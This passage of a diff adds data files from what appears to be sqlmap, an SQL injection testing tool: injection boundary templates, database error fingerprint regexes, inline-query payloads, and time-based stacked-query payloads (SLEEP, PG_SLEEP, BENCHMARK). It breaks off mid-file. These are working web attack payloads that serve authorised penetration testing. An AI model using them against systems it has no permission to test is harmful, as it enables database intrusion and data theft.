<suffix> AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>5</ptype>
|
||||
<prefix>")))</prefix>
|
||||
<suffix> AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>5</ptype>
|
||||
<prefix>"</prefix>
|
||||
<suffix> AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>1</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix></prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix></prefix>
|
||||
<suffix># [RANDSTR]</suffix>
|
||||
</boundary>
|
||||
|
||||
<!-- e.g. admin' AND [INFERENCE] OR 'foo'='bar' AND password=$password -->
|
||||
<boundary>
|
||||
<level>3</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'</prefix>
|
||||
<suffix> OR '[RANDSTR1]'='[RANDSTR2]</suffix>
|
||||
</boundary>
|
||||
<!-- End of WHERE/HAVING clause boundaries -->
|
||||
|
||||
<!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||'</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||'</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+'</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>+(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+</suffix>
|
||||
</boundary>
|
||||
<!-- End of pre-WHERE generic boundaries -->
|
||||
|
||||
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>)) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>4</ptype>
|
||||
<prefix>") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<!-- End of pre-WHERE derived table boundaries -->
|
||||
|
||||
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>8</clause>
|
||||
<where>1</where>
|
||||
<ptype>6</ptype>
|
||||
<prefix>`=`[ORIGINAL]`</prefix>
|
||||
<suffix> AND `[ORIGINAL]`=`[ORIGINAL]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>8</clause>
|
||||
<where>1</where>
|
||||
<ptype>6</ptype>
|
||||
<prefix>"="[ORIGINAL]"</prefix>
|
||||
<suffix> AND "[ORIGINAL]"="[ORIGINAL]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>8</clause>
|
||||
<where>1</where>
|
||||
<ptype>6</ptype>
|
||||
<prefix>]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)|[[ORIGINAL]</suffix>
|
||||
</boundary>
|
||||
<!-- End of escaped column name boundaries -->
|
||||
|
||||
<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>' IN BOOLEAN MODE)</prefix>
|
||||
<suffix>#</suffix>
|
||||
</boundary>
|
||||
<!-- End of AGAINST boolean full-text search boundaries -->
|
||||
</root>
|
||||
171
data/xml/errors.xml
Normal file
171
data/xml/errors.xml
Normal file
@@ -0,0 +1,171 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- MySQL -->
|
||||
<dbms value="MySQL">
|
||||
<error regexp="SQL syntax.*?MySQL"/>
|
||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||
<error regexp="MySQLSyntaxErrorException"/>
|
||||
<error regexp="valid MySQL result"/>
|
||||
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
|
||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||
<error regexp="MySqlClient\."/>
|
||||
<error regexp="com\.mysql\.jdbc"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Mysql"/>
|
||||
<error regexp="MySqlException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<error regexp="PostgreSQL.*?ERROR"/>
|
||||
<error regexp="Warning.*?\Wpg_"/>
|
||||
<error regexp="valid PostgreSQL result"/>
|
||||
<error regexp="Npgsql\."/>
|
||||
<error regexp="PG::SyntaxError:"/>
|
||||
<error regexp="org\.postgresql\.util\.PSQLException"/>
|
||||
<error regexp="ERROR:\s\ssyntax error at or near"/>
|
||||
<error regexp="ERROR: parser: parse error at or near"/>
|
||||
<error regexp="PostgreSQL query failed"/>
|
||||
<error regexp="org\.postgresql\.jdbc"/>
|
||||
<error regexp="Pdo[./_\\]Pgsql"/>
|
||||
<error regexp="PSQLException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||
<error regexp="OLE DB.*? SQL Server"/>
|
||||
<error regexp="\bSQL Server[^<"]+Driver"/>
|
||||
<error regexp="Warning.*?\W(mssql|sqlsrv)_"/>
|
||||
<error regexp="\bSQL Server[^<"]+[0-9a-fA-F]{8}"/>
|
||||
<error regexp="System\.Data\.SqlClient\.SqlException"/>
|
||||
<error regexp="(?s)Exception.*?\bRoadhouse\.Cms\."/>
|
||||
<error regexp="Microsoft SQL Native Client error '[0-9a-fA-F]{8}"/>
|
||||
<error regexp="\[SQL Server\]"/>
|
||||
<error regexp="ODBC SQL Server Driver"/>
|
||||
<error regexp="ODBC Driver \d+ for SQL Server"/>
|
||||
<error regexp="SQLServer JDBC Driver"/>
|
||||
<error regexp="com\.jnetdirect\.jsql"/>
|
||||
<error regexp="macromedia\.jdbc\.sqlserver"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Sqlsrv_Exception"/>
|
||||
<error regexp="com\.microsoft\.sqlserver\.jdbc"/>
|
||||
<error regexp="Pdo[./_\\](Mssql|SqlSrv)"/>
|
||||
<error regexp="SQL(Srv|Server)Exception"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft Access -->
|
||||
<dbms value="Microsoft Access">
|
||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||
<error regexp="JET Database Engine"/>
|
||||
<error regexp="Access Database Engine"/>
|
||||
<error regexp="ODBC Microsoft Access"/>
|
||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<error regexp="\bORA-\d{5}"/>
|
||||
<error regexp="Oracle error"/>
|
||||
<error regexp="Oracle.*?Driver"/>
|
||||
<error regexp="Warning.*?\W(oci|ora)_"/>
|
||||
<error regexp="quoted string not properly terminated"/>
|
||||
<error regexp="SQL command not properly ended"/>
|
||||
<error regexp="macromedia\.jdbc\.oracle"/>
|
||||
<error regexp="oracle\.jdbc"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Oracle_Exception"/>
|
||||
<error regexp="Pdo[./_\\](Oracle|OCI)"/>
|
||||
<error regexp="OracleException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- IBM DB2 -->
|
||||
<dbms value="IBM DB2">
|
||||
<error regexp="CLI Driver.*?DB2"/>
|
||||
<error regexp="DB2 SQL error"/>
|
||||
<error regexp="\bdb2_\w+\("/>
|
||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||
<error regexp="Pdo[./_\\]Ibm"/>
|
||||
<error regexp="DB2Exception"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Informix -->
|
||||
<dbms value="Informix">
|
||||
<error regexp="Warning.*?\Wifx_"/>
|
||||
<error regexp="Exception.*?Informix"/>
|
||||
<error regexp="Informix ODBC Driver"/>
|
||||
<error regexp="ODBC Informix driver"/>
|
||||
<error regexp="com\.informix\.jdbc"/>
|
||||
<error regexp="weblogic\.jdbc\.informix"/>
|
||||
<error regexp="Pdo[./_\\]Informix"/>
|
||||
<error regexp="IfxException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Interbase/Firebird -->
|
||||
<dbms value="Firebird">
|
||||
<error regexp="Dynamic SQL Error"/>
|
||||
<error regexp="Warning.*?\Wibase_"/>
|
||||
<error regexp="org\.firebirdsql\.jdbc"/>
|
||||
<error regexp="Pdo[./_\\]Firebird"/>
|
||||
</dbms>
|
||||
|
||||
<!-- SQLite -->
|
||||
<dbms value="SQLite">
|
||||
<error regexp="SQLite/JDBCDriver"/>
|
||||
<error regexp="SQLite\.Exception"/>
|
||||
<error regexp="(Microsoft|System)\.Data\.SQLite\.SQLiteException"/>
|
||||
<error regexp="Warning.*?\W(sqlite_|SQLite3::)"/>
|
||||
<error regexp="\[SQLITE_ERROR\]"/>
|
||||
<error regexp="SQLite error \d+:"/>
|
||||
<error regexp="sqlite3.OperationalError:"/>
|
||||
<error regexp="SQLite3::SQLException"/>
|
||||
<error regexp="org\.sqlite\.JDBC"/>
|
||||
<error regexp="Pdo[./_\\]Sqlite"/>
|
||||
<error regexp="SQLiteException"/>
|
||||
</dbms>
|
||||
|
||||
<!-- SAP MaxDB -->
|
||||
<dbms value="SAP MaxDB">
|
||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||
<error regexp="DriverSapDB"/>
|
||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Sybase -->
|
||||
<dbms value="Sybase">
|
||||
<error regexp="Warning.*?\Wsybase_"/>
|
||||
<error regexp="Sybase message"/>
|
||||
<error regexp="Sybase.*?Server message"/>
|
||||
<error regexp="SybSQLException"/>
|
||||
<error regexp="Sybase\.Data\.AseClient"/>
|
||||
<error regexp="com\.sybase\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Ingres -->
|
||||
<dbms value="Ingres">
|
||||
<error regexp="Warning.*?\Wingres_"/>
|
||||
<error regexp="Ingres SQLSTATE"/>
|
||||
<error regexp="Ingres\W.*?Driver"/>
|
||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- Frontbase -->
|
||||
<dbms value="Frontbase">
|
||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||
<error regexp="com\.frontbase\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- HSQLDB -->
|
||||
<dbms value="HSQLDB">
|
||||
<error regexp="Unexpected end of command in statement \["/>
|
||||
<error regexp="Unexpected token.*?in statement \["/>
|
||||
<error regexp="org\.hsqldb\.jdbc"/>
|
||||
</dbms>
|
||||
|
||||
<!-- H2 -->
|
||||
<dbms value="H2">
|
||||
<error regexp="org\.h2\.jdbc"/>
|
||||
</dbms>
|
||||
</root>
|
||||
3648
data/xml/livetests.xml
Normal file
3648
data/xml/livetests.xml
Normal file
File diff suppressed because it is too large
Load Diff
1541
data/xml/payloads/boolean_blind.xml
Normal file
1541
data/xml/payloads/boolean_blind.xml
Normal file
File diff suppressed because it is too large
Load Diff
1234
data/xml/payloads/error_based.xml
Normal file
1234
data/xml/payloads/error_based.xml
Normal file
File diff suppressed because it is too large
Load Diff
125
data/xml/payloads/inline_query.xml
Normal file
125
data/xml/payloads/inline_query.xml
Normal file
@@ -0,0 +1,125 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- Inline queries tests -->
|
||||
<test>
|
||||
<title>MySQL inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<!-- These work as good as ELT(), but are longer
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
-->
|
||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Microsoft SQL Server</dbms>
|
||||
<dbms>Sybase</dbms>
|
||||
<os>Windows</os>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Oracle inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||
<request>
|
||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Oracle</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>SQLite inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||
<request>
|
||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>SQLite</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Firebird inline queries</title>
|
||||
<stype>3</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8</clause>
|
||||
<where>3</where>
|
||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector>
|
||||
<request>
|
||||
<payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Firebird</dbms>
|
||||
</details>
|
||||
</test>
|
||||
<!-- End of inline queries tests -->
|
||||
</root>
|
||||
691
data/xml/payloads/stacked_queries.xml
Normal file
691
data/xml/payloads/stacked_queries.xml
Normal file
@@ -0,0 +1,691 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<root>
|
||||
<!-- Stacked queries tests -->
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>;SELECT SLEEP([SLEEPTIME])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>;SELECT SLEEP([SLEEPTIME])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL > 5.0.11 stacked queries (query SLEEP)</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
|
||||
<request>
|
||||
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>> 5.0.11</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0.12 stacked queries (heavy query - comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>3</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0.12 stacked queries (heavy query)</title>
|
||||
<stype>4</stype>
|
||||
<level>5</level>
|
||||
<risk>2</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<time>[DELAYED]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL > 8.1 stacked queries (comment)</title>
|
||||
<stype>4</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
|
||||
<comment>--</comment>
|
||||
</request>
|
||||
<response>
|
||||
<time>[SLEEPTIME]</time>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>PostgreSQL</dbms>
|
||||
<dbms_version>> 8.1</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL > 8.1 stacked queries</title>
|
||||
<stype>4</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
